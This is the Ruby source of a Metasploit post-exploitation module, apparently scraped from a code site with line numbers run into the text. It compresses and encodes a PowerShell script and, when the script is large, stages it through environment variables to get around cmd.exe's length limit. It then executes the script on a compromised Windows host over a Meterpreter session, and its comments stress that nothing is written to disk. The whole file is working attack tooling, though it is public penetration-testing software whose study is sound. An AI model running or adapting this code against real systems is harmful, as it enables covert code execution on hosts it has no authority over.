Path: blob/master/modules/post/windows/manage/powershell/exec_powershell.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45##6# Original script comments by nick[at]executionflow.org:7# Meterpreter script to deliver and execute powershell scripts using8# a compression/encoding method based on the powershell PoC code9# from rel1k and winfang98 at DEF CON 18. This script furthers the10# idea by bypassing Windows' command character lmits, allowing the11# execution of very large scripts. No files are ever written to disk.12##1314require 'zlib' # TODO: check if this can be done with REX1516class MetasploitModule < Msf::Post17include Msf::Post::Windows::Powershell1819def initialize(info = {})20super(21update_info(22info,23'Name' => 'Windows Manage PowerShell Download and/or Execute',24'Description' => %q{25This module will download and execute a PowerShell script over a meterpreter session.26The user may also enter text substitutions to be made in memory before execution.27Setting VERBOSE to true will output both the script prior to execution and the results.28},29'License' => MSF_LICENSE,30'Platform' => ['win'],31'SessionTypes' => ['meterpreter'],32'Author' => [33'Nicholas Nam (nick[at]executionflow.org)', # original meterpreter script34'RageLtMan <rageltman[at]sempervictus>' # post module35],36'Compat' => {37'Meterpreter' => {38'Commands' => %w[39stdapi_sys_config_sysinfo40]41}42},43'Notes' => {44'Stability' => [CRASH_SAFE],45'SideEffects' => [],46'Reliability' => []47}48)49)5051register_options(52[53OptPath.new('SCRIPT', [true, 'Path to the local PS script', ::File.join(Msf::Config.data_directory, 'post', 'powershell', 'msflag.ps1') ]),54]55)5657register_advanced_options(58[59OptString.new('SUBSTITUTIONS', [false, 'Script subs in gsub format - original,sub;original,sub' ]),60OptBool.new('DELETE', [false, 'Delete file after execution', false ]),61OptBool.new('DRY_RUN', [false, 'Only show what would be done', false ]),62OptInt.new('TIMEOUT', [false, 'Execution timeout', 15]),63]64)65end6667def run68fail_with(Failure::BadConfig, 'This module requires a Meterpreter session') unless session.type == 'meterpreter'69fail_with(Failure::BadConfig, 'PowerShell is not installed') unless have_powershell?7071# End of file marker72eof = Rex::Text.rand_text_alpha(8)73env_suffix = Rex::Text.rand_text_alpha(8)7475# check/set vars76subs = process_subs(datastore['SUBSTITUTIONS'])77script_in = read_script(datastore['SCRIPT'])78print_status(script_in)7980# Make substitutions in script if needed81script_in = make_subs(script_in, subs) unless subs.empty?8283# Get target's computer name84computer_name = session.sys.config.sysinfo['Computer']8586# Create unique log directory87log_dir = ::File.join(Msf::Config.log_directory, 'scripts', computer_name)88::FileUtils.mkdir_p(log_dir)8990# Define log filename91script_ext = ::File.extname(datastore['SCRIPT'])92script_base = ::File.basename(datastore['SCRIPT'], script_ext)93time_stamp = ::Time.now.strftime('%Y%m%d:%H%M%S')94log_file = ::File.join(log_dir, "#{script_base}-#{time_stamp}.txt")9596# Compress97print_status('Compressing script contents.')98compressed_script = compress_script(script_in, eof)99if datastore['DRY_RUN']100print_good("powershell -EncodedCommand #{compressed_script}")101return102end103104# If the compressed size is > 8100 bytes, launch stager105if (compressed_script.size > 8100)106print_error("Compressed size: #{compressed_script.size}")107error_msg = 'Compressed size may cause command to exceed '108error_msg += "cmd.exe's 8kB character limit."109print_error(error_msg)110print_status('Launching stager:')111script = stage_to_env(compressed_script, env_suffix)112print_good('Payload successfully staged.')113else114print_good("Compressed size: #{compressed_script.size}")115script = compressed_script116end117118# Execute the powershell script119print_status('Executing the script.')120cmd_out, running_pids, open_channels = execute_script(script, datastore['TIMEOUT'])121122# Write output to log123print_status("Logging output to #{log_file}.")124write_to_log(cmd_out, log_file, eof)125126# Clean up127print_status('Cleaning up residual objects and processes.')128clean_up(datastore['SCRIPT'], eof, running_pids, open_channels, env_suffix)129130# That's it131print_good('Finished!')132end133end134135136